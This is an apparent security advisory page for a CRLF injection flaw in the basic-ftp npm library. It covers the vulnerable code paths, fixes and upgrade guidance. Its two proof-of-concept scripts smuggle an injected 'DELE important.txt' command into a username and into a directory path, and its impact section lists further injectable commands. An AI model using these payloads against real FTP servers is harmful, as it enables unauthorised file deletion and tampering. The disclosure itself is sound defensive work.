# GHSA-6v7q-wjvx-w8wg: basic-ftp: Incomplete CRLF Injection Protection Allows Arbitrary FTP Command Execution via Credentials and MKD Commands

> An attacker can inject arbitrary FTP commands via unsanitized credentials or directory names in the basic-ftp library, leading to command execution.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 10 Apr 2026

## What is GHSA-6v7q-wjvx-w8wg?

GHSA-6v7q-wjvx-w8wg is a command injection vulnerability in basic-ftp, published on 10 Apr 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

## Summary

basic-ftp's CRLF injection protection (added in commit 2ecc8e2 for GHSA-chqc-8p9q-pq6q) is incomplete. Two code paths bypass the `protectWhitespace()` control character check: (1) the `login()` method directly concatenates user-supplied credentials into USER/PASS FTP commands without any validation, and (2) the `_openDir()` method sends an MKD command before `cd()` invokes `protectWhitespace()`, creating a TOCTOU bypass. Both vectors allow an attacker who controls input to inject arbitrary FTP commands into the control connection.

## Details

### Vector 1: Credential Injection (login)

The `login()` method constructs FTP commands by direct string concatenation with no CRLF validation:

```typescript
// src/Client.ts:216-231
login(user = "anonymous", password = "guest"): Promise<FTPResponse> {
    this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`)
    return this.ftp.handle("USER " + user, (res, task) => {  // Line 218: no validation on `user`
        // ...
        else if (res.code === 331) {
            this.ftp.send("PASS " + password)  // Line 226: no validation on `password`
        }
    })
}
```

`FtpContext.send()` writes directly to the TCP socket:

```typescript
// src/FtpContext.ts:223-227
send(command: string) {
    // ...
    this._socket.write(command + "\r\n", this.encoding)
}
```

The `protectWhitespace()` method (line 762) rejects `\r`, `\n`, and `\0` characters — but it is only called for path-based operations. Credentials never pass through it.

The public `access()` method (line 268) passes `options.user` and `options.password` directly to `login()` with no sanitization.

### Vector 2: MKD TOCTOU Bypass (_openDir)

The `_openDir()` method sends an MKD command before the CRLF check in `cd()`:

```typescript
// src/Client.ts:745-748
protected async _openDir(dirName: string) {
    await this.sendIgnoringError("MKD " + dirName)  // Line 746: sent BEFORE validation
    await this.cd(dirName)                           // Line 747: protectWhitespace() called here — too late
}
```

This is called from `ensureDir()` (line 729) which splits a user-supplied remote path by `/` and passes each fragment to `_openDir()`, and from `_uploadToWorkingDir()` (line 679) which passes local directory names read from the filesystem.

## PoC

### Vector 1: Credential Injection

```javascript
const ftp = require("basic-ftp");

async function exploit() {
    const client = new ftp.Client();
    client.ftp.verbose = true;

    // Connect to target FTP server
    await client.access({
        host: "target-ftp-server",
        port: 21,
        // Username contains CRLF + injected DELE command
        user: "anonymous\r\nDELE important.txt",
        password: "guest"
    });
    // Server receives on the wire:
    //   USER anonymous\r\n
    //   DELE important.txt\r\n
    //   PASS guest\r\n
    // The DELE command executes before PASS is processed

    client.close();
}

exploit();
```

### Vector 2: MKD TOCTOU Bypass

```javascript
const ftp = require("basic-ftp");

async function exploit() {
    const client = new ftp.Client();
    client.ftp.verbose = true;

    await client.access({
        host: "target-ftp-server",
        user: "anonymous",
        password: "guest"
    });

    // Path fragment with CRLF — MKD is sent before cd() validates
    try {
        await client.ensureDir("test\r\nDELE important.txt/subdir");
    } catch (e) {
        // cd() throws after protectWhitespace() rejects, but MKD + DELE already sent
    }
    // Server received:
    //   MKD test\r\n
    //   DELE important.txt\r\n
    //   CWD test\r\n  <-- this may fail, but damage is done

    client.close();
}

exploit();
```

## Impact

An attacker who controls credentials or remote paths passed to basic-ftp can inject arbitrary FTP commands into the control connection. This enables:

- **File deletion**: Inject `DELE` commands to remove files on the FTP server
- **File manipulation**: Inject `RNFR`/`RNTO` to rename files, `MKD`/`RMD` to create/remove directories
- **Server commands**: Inject `SITE` commands (e.g., `SITE CHMOD`) to change permissions
- **Session hijacking**: Inject `USER`/`PASS` to re-authenticate as a different user

The credential injection vector (Vector 1) is particularly dangerous because it occurs before authentication, meaning the injected commands execute with whatever default permissions the server grants during the login handshake.

Applications that accept user-supplied FTP credentials (e.g., web-based file managers, backup tools, deployment systems) are directly vulnerable.

## Recommended Fix

Add CRLF validation to both code paths:

**1. Validate credentials in `login()`:**

```typescript
// src/Client.ts:216
login(user = "anonymous", password = "guest"): Promise<FTPResponse> {
    if (/[\r\n\0]/.test(user) || /[\r\n\0]/.test(password)) {
        return Promise.reject(new Error("Invalid credentials: Contains control characters"));
    }
    this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`)
    return this.ftp.handle("USER " + user, (res, task) => {
        // ... rest unchanged
    })
}
```

**2. Validate dirName in `_openDir()` before sending MKD:**

```typescript
// src/Client.ts:745
protected async _openDir(dirName: string) {
    if (/[\r\n\0]/.test(dirName)) {
        throw new Error("Invalid path: Contains control characters");
    }
    await this.sendIgnoringError("MKD " + dirName)
    await this.cd(dirName)
}
```

Alternatively, centralize CRLF validation in `FtpContext.send()` so that all FTP commands are protected regardless of the calling code path.

## Which versions are affected by GHSA-6v7q-wjvx-w8wg?

2 open source packages ship an affected version, including basic-ftp.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `basic-ftp` | npm | All versions | 5.2.2 |
| `basic-ftp` | npm | All versions | 5.2.2 |

## How do I fix GHSA-6v7q-wjvx-w8wg?

Upgrade basic-ftp to 5.2.2 or later.

## Is GHSA-6v7q-wjvx-w8wg being exploited?

There is no known exploitation of GHSA-6v7q-wjvx-w8wg in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-6v7q-wjvx-w8wg and fix it if it is affected.

What it is: GHSA-6v7q-wjvx-w8wg is a command injection vulnerability in basic-ftp, published on 10 Apr 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-6v7q-wjvx-w8wg in the wild and no public exploit code.

Affected packages and fixed versions:
- basic-ftp (npm): affected all versions; fixed in 5.2.2
- basic-ftp (npm): affected all versions; fixed in 5.2.2

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-6v7q-wjvx-w8wg/ (Markdown: https://insights.sbomify.com/GHSA-6v7q-wjvx-w8wg/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-6v7q-wjvx-w8wg

---
From sbomify Insights: https://insights.sbomify.com/GHSA-6v7q-wjvx-w8wg/
Summaries are generated and may contain mistakes; the official description above is the record.